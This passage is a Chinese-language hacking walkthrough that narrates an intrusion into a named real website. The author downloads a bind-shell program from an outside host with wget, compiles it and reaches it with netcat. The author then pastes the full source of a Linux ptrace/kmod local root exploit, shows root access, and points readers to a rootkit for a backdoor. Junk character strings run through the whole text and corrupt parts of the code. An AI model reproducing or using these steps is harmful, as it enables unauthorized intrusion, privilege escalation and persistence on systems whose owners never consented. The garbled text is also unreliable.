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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,
+ M- f4 a; e3 y% Z' r) J, r就可以用wget这个命令来下载了,输入
( Q1 c9 X5 K: }! J4 z+ C Awget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思
$ O" h* z) ]5 D3 ~. T# e就是下载这个shell.c到/tmp目录下,如图6
7 K$ H# m/ V6 i然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
9 ^1 H' v, H( s2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs3 k# N+ z2 ^* F, W+ y1 y ~& b0 H
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天
- H' T. ]6 Y0 @) i+ c在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果9 e- O' P! [, d2 w% J1 Y
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
$ W4 N& }5 l# P9 j' d12gcc: /usr/bin/gcc5 {: F+ K: W% y7 G- X( j
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
/ S! ]0 Y2 F& N5 f4 Q* m* d编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,! D" U3 ?# ^9 f9 a. w6 A4 S
/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我3 a0 Z3 w( S# W: u) X
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000
+ {3 | Y; o0 M, m! n/ ~' C5 m: Q' r哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found", g) A8 G' F0 B0 b* X# K2 ^ \/ \
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,7 {! p/ O( N, m. Q
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 200007 v/ [* w) d' K
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*- d& E$ Y1 N+ z6 }! b. J
* Linux kernel ptrace/kmod local root exploit
$ {- z+ A9 E' Z0 R* m*
) a' l! g0 W4 g; d" V9 d% k8 e8 Q& [" F; o* This code exploits a race condition in kernel/kmod.c, which creates6 R! V7 a3 L( X8 [
* kernel thread in insecure manner. This bug allows to ptrace cloned
8 p3 n4 e) k) Z5 H! P* process, allowing to take control over privileged modprobe binary.
8 i- \, q1 B" N# f*' S' s! j: Z9 M5 y0 E6 T# x
* Should work under all current 2.2.x and 2.4.x kernels.
! L7 q4 i% o& O" P* % s- q" h1 M" M' U9 U
* I discovered this stupid bug independently on January 25, 2003, that - o- y, S' r3 T! T% w; X
* is (almost) two month before it was fixed and published by Red Hat
( k2 c" y5 a; g- v* and others.
/ v* h# r4 ~$ m6 ~: H5 {*
3 R( c* I( f* d) P2 l" r, }) g+ p* Wojciech Purczynski <cliph@isec.pl>! l1 A( A! a) w: v- l
*
3 t8 f8 ~3 W9 K! s( w% x* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
! }% a x- x. K* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
5 U" ^$ k/ Z$ x8 ?1 f+ Q*
( k' m! l7 ^+ d; W" p* (c) 2003 Copyright by iSEC Security Research( Y- X$ V. ]( k2 s
*/ #include
. t/ X- \3 C; b3 e P#include 2 \" X$ p& @" M& H6 C
#include
5 q9 V) C k2 d* `#include
% s2 Y& Y z# i4 G' } @- H/ f4 ]#include , ~% s/ X8 m- C( u
#include 7 |9 x" B; I3 a9 k1 B6 x7 E' J8 ^
#include
6 [ ^1 n0 B" B. O8 A1 t#include
& P& d1 S+ |( {" a#include % e- r- x: w' w2 e+ V8 p% }/ ]
#include
/ `' X D7 [! E#include
- [" d+ C( @& F+ _#include # x6 U6 f( j$ I+ H9 Z
#include
5 Z/ r0 _4 ?' I) O' B#include
& u1 v+ U5 P. \& G. f* X8 S#include ; G/ X/ V- z( @+ Z# {+ ]3 g! d( C
#include char cliphcode[] =
1 O& ]! Y0 G" H' Z" t& g"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"* L. a/ E2 t* p7 I
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"+ E+ h- C$ [- F# k/ U( v
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
& `& W' B: R' q* H, f" A"\x00\x00\xcd\x80\x89\xd0\x89\xd3"2 k7 ]# Y1 @( O! x% F# i: e: i# i3 Z
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;/ r/ ? _5 C+ V i' B- ~
pid_t child = 1;
W# E8 C6 `+ y1 S, tpid_t victim = 1;. R& u! y6 B: A5 X' u/ T
volatile int gotchild = 0; void fatal(char * msg)
6 S$ N7 T- u; L* F{5 M, K# c9 g& _# E7 f/ ]
perror(msg);/ ^" v5 r3 i$ L% z3 m
kill(parent, SIGKILL);8 ?1 e# O- u% V" ^0 I
kill(child, SIGKILL);
: s. `4 g b6 u! w k$ Nkill(victim, SIGKILL);- F7 K; @3 x# v6 M @
} void putcode(unsigned long * dst)
0 t2 K, q: F4 [4 _1 R' ]{3 g% g T$ ]. R# h+ q
char buf[MAXPATHLEN + CODE_SIZE];# X8 `% Q$ ~, c- j' `
unsigned long * src;* Q5 F) _% w- m' f! e) C
int i, len; memcpy(buf, cliphcode, CODE_SIZE);9 y* i( T; Y7 ] {9 S/ o
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
. O! [6 I% ?+ T, W& s4 Z# Pif (len == -1)
6 L# M, L$ d6 E# E$ G ]: T, X- k; c' Cfatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;
, v" ]# I! u; D& s* X6 vbuf[len] = '\0'; src = (unsigned long*) buf;
$ i6 c/ B7 Q9 Z6 M+ Afor (i = 0; i < len; i += 4)
' A s, V; K. b0 n) Fif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
! g8 ~2 [8 c9 Y9 i; kfatal("[-] Unable to write shellcode");$ J! q" D0 G; Z% n# V
} void sigchld(int signo)4 W+ H2 v7 j( \* I0 }7 X5 v
{ G/ Z: Z7 N* Y; `9 V
struct user_regs_struct regs; if (gotchild++ == 0): n/ P4 D' a- b% B
return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
& v( v; Q, [( u% I/ L6 b9 Lfatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
/ M; q- B2 g5 F$ Yfatal("[-] Unable to detach from victim"); exit(0);/ ^9 Y9 {* A A1 Y6 H
} void sigalrm(int signo)
$ O3 h6 T5 |6 r9 }! \/ S{* g4 S$ \% x% T! u) O: x! b) _
errno = ECANCELED;
) ]$ H; u& n; b" |, Xfatal("[-] Fatal error"); O3 Q6 v( I5 g+ y
} void do_child(void)8 |& W3 g) P/ E0 o* F( ?4 L
{
: g' V4 M7 P8 \ Uint err; child = getpid();3 H+ q: X6 E5 U* L, M4 y6 o
victim = child + 1; signal(SIGCHLD, sigchld); do3 E1 T; {5 t Y4 L3 A# A
err = ptrace(PTRACE_ATTACH, victim, 0, 0);' g" V% f& e! m1 N) Q5 |2 @
while (err == -1 && errno == ESRCH); if (err == -1)8 H* F7 Q/ ~/ [/ ~1 f# l
fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);
0 j* f/ m3 M$ N+ T, j ?while (!gotchild) ;
, ~/ V8 X2 \9 Z7 B. P. R' Kif (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)# h1 d+ L1 |" p: q* ~$ C' C) Q# ~
fatal("[-] Unable to setup syscall trace");
$ Q( f* [8 \" e2 R; nfprintf(stderr, "[+] Waiting for signal\n"); for(;;);
$ B) g- D5 c5 c* p7 n1 V} void do_parent(char * progname): r+ z0 w8 q1 [) S% g+ S& T# l
{; f- }6 g+ c/ [6 Z/ V6 n
struct stat st;
. ?. O# R. e; D8 \int err;
+ j( R; o! v: P, r, b- o$ Verrno = 0;/ J6 T' M- @' T% V9 C t
socket(AF_SECURITY, SOCK_STREAM, 1);
3 o1 m9 {/ K2 ^6 C7 i( }3 }! ldo {
8 H: i- A% ` V7 Derr = stat(progname, &st);$ |9 W% B, C# P- b; S; j
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)
# S- ^! R' Y/ N$ _9 Z, hfatal("[-] Unable to stat myself"); alarm(0);0 U# n4 D8 t+ {. ]$ P* I* a. Q
system(progname);' V! p% Z# \+ G8 ]7 f$ F( k
} void prepare(void)/ w0 d6 H4 \% y" v( U
{
3 X4 a5 g6 S/ ?, c+ p' Y: [' Wif (geteuid() == 0) {5 D6 ]7 g* I; _8 G8 Y4 H0 o
initgroups("root", 0);
# j+ [3 G% {7 ksetgid(0);
3 s E, h4 `. W5 Esetuid(0);+ N8 b& {* I. T/ P+ d4 S/ _* n! I
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
( p. ?: d) Z6 D dfatal("[-] Unable to spawn shell");: `7 D) V$ i1 ~4 d& [
}
' e7 ]% D2 M9 N} int main(int argc, char ** argv)7 W7 d9 l' ~ x6 D, w
{4 j J' Z5 R; d5 I4 D
prepare();
! `2 \& ?, H& I# T; usignal(SIGALRM, sigalrm);/ ^, z. f ~1 Z( w7 s* U1 r6 |
alarm(10); parent = getpid();; }8 u4 y- m8 g& P5 K/ E, o4 n3 e
child = fork();0 _- s# x6 v" R+ E9 ]
victim = child + 1; if (child == -1)
8 s+ @* A* |% @! F0 g5 `fatal("[-] Unable to fork"); if (child == 0): N m2 h3 j' h! A
do_child();
" y: j$ Z9 c: n9 ]" M7 ?2 zelse5 [* t2 M3 \) s
do_parent(argv[0]); return 0;2 N# _3 u' s/ g* l7 z" w3 w: P
}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |